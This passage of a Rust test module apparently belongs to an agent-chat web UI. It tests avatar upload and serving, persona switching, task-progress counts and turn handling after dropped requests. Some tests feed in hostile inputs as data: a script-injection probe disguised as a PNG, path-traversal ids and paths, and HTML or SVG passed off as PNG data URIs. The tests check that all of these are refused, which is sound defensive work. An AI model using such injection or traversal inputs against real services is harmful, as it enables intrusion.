15189        let target = |id: Option<&str>| AvatarSettingsQuery {
15190            persona: id.map(str::to_owned),
15191            ..Default::default()
15192        };
15193        let original_config = config_for(&repo).await.unwrap();
15194        let original_persona = persona::find(&original_config.talk.personas, "rei").unwrap();
15195        let original_prompt = persona::section_for(&original_persona, None);
15196        let before = talk_detail(State(ui.clone()), Path(id.clone()))
15197            .await
15198            .unwrap()
15199            .0;
15200        for persona in [None, Some("rei"), Some("magi"), Some("../custom/日本語")] {
15201            let _ = avatar_settings_put(
15202                State(ui.clone()),
15203                Query(target(persona)),
15204                Json(MagiIconUpload { icon: icon.into() }),
15205            )
15206            .await
15207            .unwrap();
15208            let path = avatar_setting_path(home.path(), persona);
15209            assert!(path.starts_with(home.path().join("avatars")));
15210            assert_eq!(read_icon_file(&path).as_deref(), Some(icon));
15211            for bad in [
15212                "/tmp/image.png".to_owned(),
15213                "data:image/png;base64,!!!!".to_owned(),
15214                "data:image/png;base64,PGh0bWw+".to_owned(),
15215                "data:image/svg+xml;base64,PHN2Zz4=".to_owned(),
15216                format!(
15217                    "data:image/png;base64,{}",
15218                    "A".repeat(persona_icon::ICON_MAX_BYTES)
15219                ),
15220            ] {
15221                assert!(
15222                    avatar_settings_put(
15223                        State(ui.clone()),
15224                        Query(target(persona)),
15225                        Json(MagiIconUpload { icon: bad })
15226                    )
15227                    .await
15228                    .is_err()
15229                );
15230                assert_eq!(read_icon_file(&path).as_deref(), Some(icon));
15231            }
15232        }
15233        assert!(read_magi_icon(home.path()).is_none());
15234        assert!(effective_persona_icon(home.path(), "asuka", None).is_none());
15235        let after = talk_detail(State(ui.clone()), Path(id.clone()))
15236            .await
15237            .unwrap()
15238            .0;
15239        assert_ne!(before.view.operator_avatar, after.view.operator_avatar);
15240        assert_ne!(
15241            before
15242                .personas
15243                .iter()
15244                .find(|p| p.id == "magi")
15245                .unwrap()
15246                .avatar,
15247            after
15248                .personas
15249                .iter()
15250                .find(|p| p.id == "magi")
15251                .unwrap()
15252                .avatar
15253        );
15254        let restarted = Arc::new(Ui::new(
15255            Queue::at(home.path().join("queue")),
15256            Questions::at(home.path().join("questions")),
15257            Talks::at(home.path().join("talks")),
15258            home.path().join("runs"),
15259            home.path().to_owned(),
15260            repo,
15261        ));
15262        let catalog = avatar_settings_get(State(restarted.clone()), Query(target(None)))
15263            .await
15264            .unwrap()
15265            .0;
15266        assert!(
15267            catalog["personas"]
15268                .as_array()
15269                .unwrap()
15270                .iter()
15271                .any(|p| p["id"] == "../custom/日本語")
15272        );
15273        for expected in ["custom", "default", "rei"] {
15274            assert!(
15275                catalog["personas"]
15276                    .as_array()
15277                    .unwrap()
15278                    .iter()
15279                    .any(|p| p["id"] == expected)
15280            );
15281        }
15282        let response =
15283            operator_avatar(State(restarted.clone()), Query(AvatarQuery::default())).await;
15284        assert_eq!(response.headers()[header::CONTENT_TYPE], "image/png");
15285        let _ = avatar_settings_delete(State(restarted.clone()), Query(target(Some("rei"))))
15286            .await
15287            .unwrap();
15288        assert_eq!(
15289            effective_persona_icon(home.path(), "rei", Some(icon)),
15290            Some(String::new())
15291        );
15292        let response = talk_avatar(
15293            State(restarted.clone()),
15294            Path(id.clone()),
15295            Query(AvatarQuery {
15296                persona: Some("rei".into()),
15297                ..Default::default()
15298            }),
15299        )
15300        .await
15301        .unwrap();
15302        assert_eq!(response.headers()[header::CONTENT_TYPE], "image/svg+xml");
15303        let reset = talk_detail(State(restarted.clone()), Path(id.clone()))
15304            .await
15305            .unwrap()
15306            .0;
15307        assert_ne!(
15308            after
15309                .personas
15310                .iter()
15311                .find(|p| p.id == "rei")
15312                .unwrap()
15313                .avatar,
15314            reset
15315                .personas
15316                .iter()
15317                .find(|p| p.id == "rei")
15318                .unwrap()
15319                .avatar
15320        );
15321        let mut inherit = target(Some("rei"));
15322        inherit.inherit = Some("1".into());
15323        let _ = avatar_settings_delete(State(restarted.clone()), Query(inherit))
15324            .await
15325            .unwrap();
15326        assert_eq!(
15327            effective_persona_icon(home.path(), "rei", Some(icon)).as_deref(),
15328            Some(icon)
15329        );
15330        let _ = avatar_settings_delete(State(restarted.clone()), Query(target(None)))
15331            .await
15332            .unwrap();
15333        assert_eq!(operator_icon_url(home.path()), before.view.operator_avatar);
15334        assert_eq!(
15335            read_icon_file(&avatar_setting_path(home.path(), Some("magi"))).as_deref(),
15336            Some(icon)
15337        );
15338        // Display changes never rewrite the conversation or its prompt-bearing config.
15339        let cfg = config_for(&ui.repo).await.unwrap();
15340        let resolved = persona::find(&cfg.talk.personas, "rei").unwrap();
15341        assert_eq!(persona::section_for(&resolved, None), original_prompt);
15342        assert!(!original_prompt.contains("data:image"));
15343        assert_eq!(ui.talks.get(&id).unwrap().persona, before.view.talk.persona);
15344        let stored = serde_json::to_string(&ui.talks.get(&id).unwrap()).unwrap();
15345        assert!(!stored.contains("data:image"));
15346        let mut orphan = ui.talks.get(&id).unwrap();
15347        orphan.persona = "../custom/日本語".into();
15348        let view = TalkView::with_config(
15349            orphan,
15350            false,
15351            Some(&cfg),
15352            home.path(),
15353            &id_links::IndexCache::default(),
15354        );
15355        assert!(view.persona_avatar.contains("persona=..%2Fcustom%2F"));
15356    }
15357
15358    #[tokio::test]
15359    async fn magi_icon_saves_resets_revalidates_and_refreshes_cache() {
15360        let (_tmp, home, ui, id, repo) = avatar_fixture("").await;
15361        let original = magi_icon_get(State(ui.clone())).await.0["avatar"].clone();
15362        let icon = "data:image/png;base64,iVBORw0KGgoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=";
15363        let _ = magi_icon_put(
15364            State(ui.clone()),
15365            Json(MagiIconUpload { icon: icon.into() }),
15366        )
15367        .await
15368        .unwrap();
15369        let changed = magi_icon_get(State(ui.clone())).await.0["avatar"].clone();
15370        assert_ne!(original, changed);
15371        assert_eq!(read_magi_icon(home.path()).as_deref(), Some(icon));
15372        let response = magi_avatar(
15373            State(ui.clone()),
15374            Query(AvatarQuery {
15375                persona: None,
15376                builtin: None,
15377            }),
15378        )
15379        .await;
15380        assert_eq!(response.headers()[header::CONTENT_TYPE], "image/png");
15381        assert_eq!(response.headers()[header::CACHE_CONTROL], "no-cache");
15382        assert_eq!(
15383            response.headers()[header::X_CONTENT_TYPE_OPTIONS],
15384            "nosniff"
15385        );
15386        for bad in [
15387            "data:image/png;base64,PGh0bWw+".to_owned(),
15388            "data:image/svg+xml;base64,PHN2Zz4=".to_owned(),
15389            "A".repeat(persona_icon::ICON_MAX_BYTES + 1),
15390        ] {
15391            assert!(save_magi_icon(home.path(), &bad).is_err());
15392            assert_eq!(read_magi_icon(home.path()).as_deref(), Some(icon));
15393        }
15394        // Re-opened server state reads the same independent home file.
15395        let restarted = Arc::new(Ui::new(
15396            Queue::at(home.path().join("queue")),
15397            Questions::at(home.path().join("questions")),
15398            Talks::at(home.path().join("talks")),
15399            home.path().join("runs"),
15400            home.path().to_path_buf(),
15401            repo,
15402        ));
15403        assert_eq!(
15404            magi_icon_get(State(restarted.clone())).await.0["avatar"],
15405            changed
15406        );
15407        let view = TalkView::with_config(
15408            restarted.talks.get(&id).unwrap(),
15409            false,
15410            None,
15411            &restarted.home,
15412            &restarted.references,
15413        );
15414        assert_eq!(view.magi_avatar, changed.as_str().unwrap());
15415        std::fs::write(magi_icon_path(home.path()), "invalid").unwrap();
15416        let response = magi_avatar(
15417            State(ui.clone()),
15418            Query(AvatarQuery {
15419                persona: None,
15420                builtin: None,
15421            }),
15422        )
15423        .await;
15424        let bytes = axum::body::to_bytes(response.into_body(), usize::MAX)
15425            .await
15426            .unwrap();
15427        assert_eq!(bytes.as_ref(), persona_icon::magi_svg().as_bytes());
15428        let _ = magi_icon_delete(State(ui.clone())).await.unwrap();
15429        assert_eq!(magi_icon_get(State(ui.clone())).await.0["avatar"], original);
15430        let _ = magi_icon_delete(State(ui)).await.unwrap();
15431    }
15432
15433    /// `(status, content-type, nosniff, csp, body)` of one avatar request.
15434    async fn avatar(
15435        ui: &Arc<Ui>,
15436        id: &str,
15437        persona: Option<&str>,
15438        builtin: bool,
15439    ) -> (StatusCode, String, bool, bool, Vec<u8>) {
15440        let res = talk_avatar(
15441            State(Arc::clone(ui)),
15442            Path(id.to_owned()),
15443            Query(AvatarQuery {
15444                persona: persona.map(str::to_owned),
15445                builtin: builtin.then(|| "1".to_owned()),
15446            }),
15447        )
15448        .await
15449        .expect("an avatar is never an error response");
15450        let h = res.headers();
15451        let ct = h[header::CONTENT_TYPE].to_str().unwrap().to_owned();
15452        let nosniff = h
15453            .get(header::X_CONTENT_TYPE_OPTIONS)
15454            .is_some_and(|v| v == "nosniff");
15455        let csp = h.contains_key(header::CONTENT_SECURITY_POLICY);
15456        let status = res.status();
15457        let body = axum::body::to_bytes(res.into_body(), usize::MAX)
15458            .await
15459            .expect("body")
15460            .to_vec();
15461        (status, ct, nosniff, csp, body)
15462    }
15463
15464    fn tiny_png() -> Vec<u8> {
15465        let mut b = b"\x89PNG\r\n\x1a\n".to_vec();
15466        b.extend_from_slice(&[0u8; 32]);
15467        b
15468    }
15469
15470    #[tokio::test]
15471    async fn operator_avatar_is_distinct_svg_with_a_locked_down_policy() {
15472        let (_tmp, _home, ui, _id, _repo) = avatar_fixture("").await;
15473        let res = operator_avatar(State(ui), Query(AvatarQuery::default())).await;
15474        assert_eq!(res.status(), StatusCode::OK);
15475        assert_eq!(res.headers()[header::CONTENT_TYPE], "image/svg+xml");
15476        assert_eq!(res.headers()[header::X_CONTENT_TYPE_OPTIONS], "nosniff");
15477        assert_eq!(res.headers()[header::CONTENT_SECURITY_POLICY], AVATAR_CSP);
15478        assert_eq!(res.headers()[header::CACHE_CONTROL], "no-cache");
15479        let body = axum::body::to_bytes(res.into_body(), usize::MAX)
15480            .await
15481            .unwrap();
15482        assert_eq!(body.as_ref(), persona_icon::operator_svg().as_bytes());
15483        assert_ne!(
15484            persona_icon::operator_svg(),
15485            persona_icon::builtin_svg("default")
15486        );
15487    }
15488
15489    #[tokio::test]
15490    async fn builtin_avatars_are_svg_with_a_locked_down_policy() {
15491        let (_t, _h, ui, id, _repo) = avatar_fixture("").await;
15492        for p in [
15493            "default", "magi", "rei", "misato", "ritsuko", "shinji", "asuka", "kaworu",
15494        ] {
15495            let (status, ct, nosniff, csp, body) = avatar(&ui, &id, Some(p), false).await;
15496            assert_eq!(status, StatusCode::OK, "{p}");
15497            assert_eq!(ct, "image/svg+xml", "{p}");
15498            assert!(nosniff && csp, "{p}");
15499            assert!(String::from_utf8(body).unwrap().starts_with("<svg"), "{p}");
15500        }
15501        // No `persona` means the conversation's own; unknown ones fall back.
15502        let own = avatar(&ui, &id, None, false).await;
15503        let default = avatar(&ui, &id, Some("default"), false).await;
15504        assert_eq!(own.4, default.4);
15505        let unknown = avatar(&ui, &id, Some("nobody"), false).await;
15506        assert_eq!(unknown.1, "image/svg+xml");
15507    }
15508
15509    #[tokio::test]
15510    async fn a_configured_raster_icon_is_served_and_bad_ones_fall_back() {
15511        let dir = TempDir::new().expect("icons");
15512        let good = dir.path().join("good.png");
15513        std::fs::write(&good, tiny_png()).unwrap();
15514        let spoof = dir.path().join("spoof.png");
15515        std::fs::write(&spoof, b"<html><script>alert(1)</script></html>").unwrap();
15516        let big = dir.path().join("big.png");
15517        let mut bytes = tiny_png();
15518        bytes.resize(persona_icon::ICON_MAX_BYTES + 1, 0);
15519        std::fs::write(&big, bytes).unwrap();
15520        let missing = dir.path().join("missing.png");
15521        let uri = |p: &FsPath| p.to_string_lossy().replace('\\', "/");
15522        let extra = format!(
15523            "[[talk.personas]]\nid = \"rei\"\nicon = \"{}\"\n\
15524             [[talk.personas]]\nid = \"misato\"\nicon = \"{}\"\n\
15525             [[talk.personas]]\nid = \"asuka\"\nicon = \"{}\"\n\
15526             [[talk.personas]]\nid = \"shinji\"\nicon = \"{}\"\n\
15527             [[talk.personas]]\nid = \"kaworu\"\nicon = \"data:image/png;base64,iVBORw0KGgoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=\"\n\
15528             [[talk.personas]]\nid = \"magi\"\nicon = \"data:image/png;base64,PGh0bWw+\"\n",
15529            uri(&good),
15530            uri(&spoof),
15531            uri(&big),
15532            uri(&missing),
15533        );
15534        let (_t, _h, ui, id, _repo) = avatar_fixture(&extra).await;
15535
15536        let (status, ct, nosniff, _, body) = avatar(&ui, &id, Some("rei"), false).await;
15537        assert_eq!(
15538            (status, ct.as_str(), nosniff),
15539            (StatusCode::OK, "image/png", true)
15540        );
15541        assert_eq!(body, tiny_png());
15542        let (_, ct, _, _, _) = avatar(&ui, &id, Some("kaworu"), false).await;
15543        assert_eq!(ct, "image/png", "data URI");
15544
15545        for p in ["misato", "asuka", "shinji", "magi"] {
15546            let (status, ct, _, csp, body) = avatar(&ui, &id, Some(p), false).await;
15547            assert_eq!(
15548                (status, ct.as_str(), csp),
15549                (StatusCode::OK, "image/svg+xml", true),
15550                "{p}"
15551            );
15552            assert!(body.starts_with(b"<svg"), "{p}");
15553        }
15554        // The page's own retry skips the icon.
15555        let (_, ct, _, _, _) = avatar(&ui, &id, Some("rei"), true).await;
15556        assert_eq!(ct, "image/svg+xml");
15557    }
15558
15559    #[tokio::test]
15560    async fn invalid_icons_keep_the_catalog_and_persona_switch_usable() {
15561        let oversized = format!(
15562            "data:image/png;base64,{}",
15563            "A".repeat(persona_icon::ICON_MAX_BYTES)
15564        );
15565        for bad in ["", "/images/avatar.svg", "/a/../b.png", &oversized] {
15566            let extra = format!(
15567                "[[talk.personas]]\nid = \"custom\"\nname = \"Custom\"\nprompt = \"Keep calm\"\nicon = \"{bad}\"\n"
15568            );
15569            let (_t, _h, ui, id, _repo) = avatar_fixture(&extra).await;
15570            let Json(detail) = talk_detail(State(Arc::clone(&ui)), Path(id.clone()))
15571                .await
15572                .expect("detail with invalid icon");
15573            assert!(detail.personas.iter().any(|p| p.id == "custom"));
15574            let (status, ct, _, _, body) = avatar(&ui, &id, Some("custom"), false).await;
15575            assert_eq!(status, StatusCode::OK);
15576            assert_eq!(ct, "image/svg+xml");
15577            assert_eq!(body, persona_icon::builtin_svg("custom").as_bytes());
15578            let Json(view) = talk_persona(
15579                State(Arc::clone(&ui)),
15580                Path(id.clone()),
15581                Json(TalkPersona {
15582                    persona: "custom".into(),
15583                }),
15584            )
15585            .await
15586            .expect("persona switch with invalid icon");
15587            assert_eq!(view.talk.persona, "custom");
15588            assert_eq!(ui.talks.get(&id).unwrap().persona, "custom");
15589        }
15590    }
15591
15592    #[tokio::test]
15593    async fn an_unreadable_config_still_gets_the_builtin_avatar() {
15594        let (_t, _h, ui, id, repo) = avatar_fixture("").await;
15595        std::fs::write(repo.join("magi.toml"), "this is not valid TOML").unwrap();
15596        let (status, ct, nosniff, csp, _) = avatar(&ui, &id, Some("rei"), false).await;
15597        assert_eq!(
15598            (status, ct.as_str(), nosniff, csp),
15599            (StatusCode::OK, "image/svg+xml", true, true)
15600        );
15601    }
15602
15603    #[tokio::test]
15604    async fn the_talk_view_carries_server_built_avatar_urls_only() {
15605        let (_t, _h, ui, id, _repo) =
15606            avatar_fixture("[[talk.personas]]\nid = \"rei\"\nicon = \"~/secret/rei.png\"\n").await;
15607        let Json(detail) = talk_detail(State(Arc::clone(&ui)), Path(id.clone()))
15608            .await
15609            .expect("detail");
15610        let json = serde_json::to_string(&detail).unwrap();
15611        assert!(
15612            !json.contains("secret"),
15613            "the icon setting must not leak: {json}"
15614        );
15615        assert!(
15616            detail
15617                .view
15618                .persona_avatar
15619                .starts_with(&format!("/api/talks/{id}/avatar?persona=default&v="))
15620        );
15621        assert_eq!(
15622            detail.view.operator_avatar,
15623            format!(
15624                "/avatars/operator.svg?v={}",
15625                persona_icon::fingerprint(Some(persona_icon::operator_svg()))
15626            )
15627        );
15628        assert!(!detail.personas.iter().any(|p| p.id == "operator"));
15629        let rei = detail.personas.iter().find(|p| p.id == "rei").unwrap();
15630        let plain = detail.personas.iter().find(|p| p.id == "asuka").unwrap();
15631        assert!(rei.avatar.contains("persona=rei&v="));
15632        assert_ne!(
15633            rei.avatar.split("&v=").nth(1),
15634            plain.avatar.split("&v=").nth(1)
15635        );
15636    }
15637
15638    #[tokio::test]
15639    async fn empty_settings_turn_releases_inline_only_for_unchanged_generation() {
15640        let (_t, _h, ui, id, repo) = avatar_fixture("").await;
15641        let cfg = config_for(&repo).await.unwrap();
15642        for arrived in [false, true] {
15643            let turn = ui.begin_talk_turn(&id).unwrap().unwrap();
15644            let observed = ui.queued_generation(&id);
15645            let talk = ui.talks.get(&id).unwrap();
15646            if arrived {
15647                assert!(ui.begin_queued_talk_turn(&id).unwrap().is_none());
15648            }
15649            let mut settling = std::pin::pin!(settle_settings_turn(
15650                talk,
15651                ui.talks.clone(),
15652                cfg.clone(),
15653                id.clone(),
15654                turn,
15655                observed
15656            ));
15657            let mut cx = std::task::Context::from_waker(std::task::Waker::noop());
15658            let first = std::future::Future::poll(settling.as_mut(), &mut cx);
15659            assert_eq!(first.is_pending(), arrived);
15660            if arrived {
15661                assert!(!settling.await);
15662            }
15663            assert!(!ui.is_thinking(&id));
15664        }
15665    }
15666
15667    #[tokio::test]
15668    async fn talk_persona_round_trips_and_refuses_unknown_busy_or_closed() {
15669        let tmp = TempDir::new().expect("tempdir");
15670        let repo = tmp.path().join("repo");
15671        std::fs::create_dir_all(&repo).expect("repo dir");
15672        std::fs::write(
15673            repo.join("magi.toml"),
15674            format!(
15675                "{MOCK_AGENT_TOML}\n[[talk.personas]]\nid = \"gendo\"\nname = \"Gendo\"\nprompt = \"Be cold.\"\n"
15676            ),
15677        )
15678        .expect("write magi.toml");
15679        let home = TempDir::new().expect("temp home");
15680        let talks = Talks::at(home.path().join("talks"));
15681        let ui = Arc::new(
15682            Ui::new(
15683                Queue::at(home.path().join("queue")),
15684                Questions::at(home.path().join("questions")),
15685                talks.clone(),
15686                home.path().join("runs"),
15687                home.path().to_path_buf(),
15688                repo.clone(),
15689            )
15690            .with_worktrees_root(home.path().join("wt")),
15691        );
15692        let cfg = config_for(&repo).await.expect("discover config");
15693        let talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
15694        let id = talk.id.clone();
15695        let call = |persona: &str| {
15696            talk_persona(
15697                State(Arc::clone(&ui)),
15698                Path(id.clone()),
15699                Json(TalkPersona {
15700                    persona: persona.to_owned(),
15701                }),
15702            )
15703        };
15704
15705        let unknown = call("nobody").await.expect_err("unknown persona");
15706        assert_eq!(
15707            unknown.status,
15708            StatusCode::BAD_REQUEST,
15709            "{}",
15710            unknown.message
15711        );
15712
15713        {
15714            // Nothing refused so far took a claim, so the guard is free to take
15715            // and holding it is what makes the talk busy.
15716            let guard = ui.begin_talk_turn(&id).expect("claim").expect("free");
15717            let busy = call("rei").await.expect_err("busy talk");
15718            assert_eq!(busy.status, StatusCode::CONFLICT, "{}", busy.message);
15719            assert!(
15720                busy.message.contains("a talk turn is running"),
15721                "{}",
15722                busy.message
15723            );
15724            drop(guard);
15725        }
15726        assert_eq!(talks.get(&id).expect("reload").persona, "");
15727
15728        let Json(view) = call("gendo").await.expect("switch to a configured persona");
15729        assert_eq!(view.talk.persona, "gendo");
15730        assert_eq!(talks.get(&id).expect("reload").persona, "gendo");
15731        assert!(!ui.is_thinking(&id), "idle response must release the claim");
15732        // No intervening I/O or sleep may be needed before another change.
15733        for chosen in ["default", "gendo", "rei", "gendo"] {
15734            let Json(view) = call(chosen).await.expect("immediate consecutive change");
15735            assert!(!view.thinking);
15736            assert!(!ui.is_thinking(&id));
15737        }
15738
15739        let detail = talk_detail(State(Arc::clone(&ui)), Path(id.clone()))
15740            .await
15741            .expect("detail");
15742        let ids: Vec<&str> = detail.0.personas.iter().map(|p| p.id.as_str()).collect();
15743        assert_eq!(ids.first(), Some(&"default"));
15744        assert!(ids.contains(&"rei") && ids.contains(&"gendo"));
15745
15746        let Json(view) = call("default").await.expect("back to default");
15747        assert_eq!(view.talk.persona, "");
15748
15749        let mut closed = talks.get(&id).expect("reload");
15750        talk::close(&mut closed, &talks).expect("close");
15751        let refused = call("rei").await.expect_err("closed talk");
15752        assert_eq!(refused.status, StatusCode::CONFLICT, "{}", refused.message);
15753        assert!(
15754            refused.message.contains("takes no more turns"),
15755            "{}",
15756            refused.message
15757        );
15758    }
15759
15760    #[tokio::test]
15761    async fn talk_detail_lists_the_tasks_it_has_filed_and_stays_open() {
15762        let f = Fixture::start().await;
15763        let talk_id = seed_talk(&f, "20260904-014455-ab12", "open");
15764        let queue = f.queue();
15765        let mut mine = Task::new(
15766            "rename the loader".to_owned(),
15767            "rename the loader".to_owned(),
15768            PathBuf::from("/repo/magi"),
15769            Source::Agent {
15770                run: talk_id.clone(),
15771                node: "chat".to_owned(),
15772            },
15773        );
15774        let empty = f.get(&format!("/api/talks/{talk_id}")).await.json();
15775        assert_eq!(empty["task_progress"]["state"], "none");
15776        assert_eq!(empty["task_progress"]["total"], 0);
15777        queue.put(&mut mine).expect("file the task");
15778        let mut theirs = Task::new(
15779            "unrelated".to_owned(),
15780            "unrelated".to_owned(),
15781            PathBuf::from("/repo/magi"),
15782            Source::Human,
15783        );
15784        // A later task linked through origin_chat alone is outside this list.
15785        theirs.origin_chat = Some(talk_id.clone());
15786        queue.put(&mut theirs).expect("file the task");
15787
15788        let res = f.get(&format!("/api/talks/{talk_id}")).await;
15789        assert_eq!(res.status, 200, "{}", res.body);
15790        let body = res.json();
15791        assert_eq!(
15792            body["status"], "open",
15793            "filing a task does not close a talk"
15794        );
15795        let tasks = body["tasks"].as_array().expect("tasks array");
15796        assert_eq!(tasks.len(), 1, "only this talk's own task is listed");
15797        assert_eq!(tasks[0]["id"], mine.id);
15798        for status in [
15799            TaskStatus::Queued,
15800            TaskStatus::Running,
15801            TaskStatus::Held,
15802            TaskStatus::Failed,
15803            TaskStatus::Blocked,
15804            TaskStatus::Parked,
15805            TaskStatus::Done,
15806            TaskStatus::Queued,
15807        ] {
15808            mine.status = status;
15809            queue.put(&mut mine).expect("update status");
15810            let detail = f.get(&format!("/api/talks/{talk_id}")).await.json();
15811            let progress = &detail["task_progress"];
15812            assert_eq!(progress["total"], 1);
15813            assert_eq!(progress["counts"][status.as_str()], 1);
15814            assert_eq!(detail["tasks"][0]["status"], status.as_str());
15815            assert_eq!(detail["status"], "open", "completion never closes the chat");
15816            if status == TaskStatus::Done {
15817                assert_eq!(progress["state"], "complete");
15818                assert_eq!(progress["done"], 1);
15819                assert_eq!(progress["unfinished_ids"], serde_json::json!([]));
15820            } else {
15821                assert_eq!(progress["state"], "incomplete");
15822                assert_eq!(progress["done"], 0);
15823                assert_eq!(progress["unfinished_ids"], serde_json::json!([mine.id]));
15824            }
15825        }
15826    }
15827
15828    #[test]
15829    fn talk_task_progress_counts_mixed_statuses() {
15830        let mut tasks: Vec<_> = [
15831            TaskStatus::Queued,
15832            TaskStatus::Running,
15833            TaskStatus::Held,
15834            TaskStatus::Failed,
15835            TaskStatus::Blocked,
15836            TaskStatus::Parked,
15837            TaskStatus::Done,
15838        ]
15839        .into_iter()
15840        .map(|status| {
15841            let mut task = Task::new(
15842                "task".into(),
15843                "task".into(),
15844                PathBuf::from("/repo"),
15845                Source::Human,
15846            );
15847            task.status = status;
15848            task
15849        })
15850        .collect();
15851        let progress = talk_task_progress(&tasks);
15852        assert_eq!(progress.state, "incomplete");
15853        assert_eq!(progress.total, 7);
15854        assert_eq!(progress.done, 1);
15855        assert_eq!(progress.unfinished_ids.len(), 6);
15856        assert!(progress.counts.values().all(|count| *count == 1));
15857        assert_eq!(
15858            progress.unfinished_ids,
15859            tasks[..6]
15860                .iter()
15861                .map(|task| task.id.clone())
15862                .collect::<Vec<_>>()
15863        );
15864
15865        for task in &mut tasks {
15866            task.status = TaskStatus::Done;
15867        }
15868        let complete = talk_task_progress(&tasks);
15869        assert_eq!(complete.state, "complete");
15870        assert_eq!(complete.done, 7);
15871        assert!(complete.unfinished_ids.is_empty());
15872        tasks[0].status = TaskStatus::Queued;
15873        let requeued = talk_task_progress(&tasks);
15874        assert_eq!(requeued.state, "incomplete");
15875        assert_eq!(requeued.done, 6);
15876        assert_eq!(requeued.unfinished_ids, vec![tasks[0].id.clone()]);
15877
15878        let empty = talk_task_progress(&[]);
15879        assert_eq!(empty.state, "none");
15880        assert_eq!(empty.total, 0);
15881        assert_eq!(empty.done, 0);
15882        assert!(empty.unfinished_ids.is_empty());
15883        assert!(empty.counts.values().all(|count| *count == 0));
15884    }
15885
15886    #[tokio::test]
15887    async fn talk_say_records_the_operators_turn_before_the_agents_reply_lands() {
15888        let (_tmp, _repo, f) = talk_fixture().await;
15889        let id = f.post("/api/talks", None).await.json()["id"]
15890            .as_str()
15891            .expect("id")
15892            .to_owned();
15893
15894        let res = f
15895            .post(
15896                &format!("/api/talks/{id}/say"),
15897                Some(r#"{"text":"what does the queue module do?"}"#),
15898            )
15899            .await;
15900        assert_eq!(res.status, 202, "{}", res.body);
15901        let queued = res.json();
15902        let turns = queued["turns"].as_array().expect("turns array");
15903        assert_eq!(
15904            turns.len(),
15905            1,
15906            "the answer reflects only what is on disk the instant it is sent, \
15907             before the agent's turn - which can run for the whole of \
15908             `[graph] timeout_talk` - has a chance to land: {queued}"
15909        );
15910        assert_eq!(turns[0]["who"], "operator");
15911        assert_eq!(turns[0]["body"], "what does the queue module do?");
15912        assert_eq!(
15913            queued["thinking"], true,
15914            "the accepted response exposes the background turn claim: {queued}"
15915        );
15916
15917        let mut turns_after = 1;
15918        for _ in 0..SETTLE_STEPS {
15919            let detail = f.get(&format!("/api/talks/{id}")).await.json();
15920            turns_after = detail["turns"].as_array().expect("turns array").len();
15921            if turns_after == 2 {
15922                break;
15923            }
15924            tokio::time::sleep(Duration::from_millis(10)).await;
15925        }
15926        assert_eq!(turns_after, 2, "the agent's reply eventually lands");
15927    }
15928
15929    /// A phone that reloads mid-request drops `talk_say`'s whole handler
15930    /// future without warning - see `TalkTurnGuard`'s doc. The bug this
15931    /// guards against: `talk::record` used to return, and only *then* did the
15932    /// handler make a second, separate disk round trip before spawning the
15933    /// agent's reply task. A future dropped in that gap left a message
15934    /// recorded on disk with no reply task ever started and no way back short
15935    /// of a fresh message - and the gap was not even the whole story: *any*
15936    /// `.await` in this handler, including the very first one, is a point
15937    /// where a drop can land after the awaited work already finished but
15938    /// before this handler's own code resumes to act on it. `record` now
15939    /// runs inside the task `tokio::spawn` hands to the runtime before this
15940    /// handler ever awaits anything of its own again, so there is nothing
15941    /// left in *this* handler's future for a disconnect to interrupt between
15942    /// the message landing on disk and the reply task starting.
15943    ///
15944    /// A real socket disconnect cannot be relied on to land in the old gap
15945    /// from a test - over loopback, `talk_say` typically finishes before the
15946    /// kernel even reports the peer gone. `JoinHandle::abort` reproduces the
15947    /// same failure mode directly: it drops the task's future at whatever
15948    /// point it has reached, exactly what axum does to the handler future,
15949    /// without needing to win a real network race. Sweeping the delay before
15950    /// aborting samples a range of points the task's execution can be at,
15951    /// including where the old code sat waiting on its second disk round
15952    /// trip - confirmed by reverting this fix locally and watching this same
15953    /// sweep catch a talk stuck with the operator's turn recorded and no
15954    /// reply ever following.
15955    #[tokio::test]
15956    async fn a_dropped_handler_future_after_recording_still_gets_an_agent_reply() {
15957        let tmp = TempDir::new().expect("tempdir");
15958        let repo = tmp.path().join("repo");
15959        std::fs::create_dir_all(&repo).expect("repo dir");
15960        std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
15961        let home = TempDir::new().expect("temp home");
15962        let talks = Talks::at(home.path().join("talks"));
15963        let ui = Arc::new(
15964            Ui::new(
15965                Queue::at(home.path().join("queue")),
15966                Questions::at(home.path().join("questions")),
15967                talks.clone(),
15968                home.path().join("runs"),
15969                home.path().to_path_buf(),
15970                repo.clone(),
15971            )
15972            .with_worktrees_root(home.path().join("wt")),
15973        );
15974        let cfg = config_for(&repo).await.expect("discover config");
15975
15976        for delay in 0..40u32 {
15977            let talk = talk::begin(&talks, &cfg, repo.clone(), None).expect("begin talk");
15978            let id = talk.id.clone();
15979
15980            let handler = tokio::spawn(talk_say(
15981                State(Arc::clone(&ui)),
15982                Path(id.clone()),
15983                Ok(Json(NewTalkTurn {
15984                    reply_to: None,
15985                    text: "what does the queue module do?".to_owned(),
15986                    attachments: Vec::new(),
15987                })),
15988            ));
15989            tokio::time::sleep(Duration::from_micros(u64::from(delay) * 500)).await;
15990            handler.abort();
15991            // Wait out the abort so the next iteration's talk does not race
15992            // this one's still-unwinding turn guard.
15993            let _ = handler.await;
15994
15995            let mut turns = 0;
15996            for _ in 0..SETTLE_STEPS {
15997                if let Ok(fresh) = talks.get(&id) {
15998                    turns = fresh.turns.len();
15999                    if turns != 1 {
16000                        break;
16001                    }
16002                }
16003                tokio::time::sleep(Duration::from_millis(10)).await;
16004            }
16005            assert_ne!(
16006                turns, 1,
16007                "delay {delay}: talk {id} recorded the operator's turn but \
16008                 the agent never answered - the reply task was never \
16009                 started after the handler future was dropped"
16010            );
16011        }
16012    }
16013
16014    /// The same drop, landing on `talk_say`'s other durable write.
16015    ///
16016    /// When a turn is already running, the busy branch persists the
16017    /// operator's text as a queued draft and then reclaims the turn slot if
16018    /// the holder gave it up in the meantime - and whoever reclaims owes that
16019    /// draft a `drain_loop`. `blocking` runs its closure on `spawn_blocking`,
16020    /// which finishes whether or not the future awaiting it is still there,
16021    /// so a handler dropped at that `.await` used to leave the draft written
16022    /// to disk with the reclaimed guard dropped unread and no drainer ever
16023    /// started: the message sat queued until some unrelated later `say`
16024    /// happened to pick it up.
16025    ///
16026    /// This used to drive the handler future by hand, polling it a fixed
16027    /// number of times to park it at the `.await` where it asks for the turn
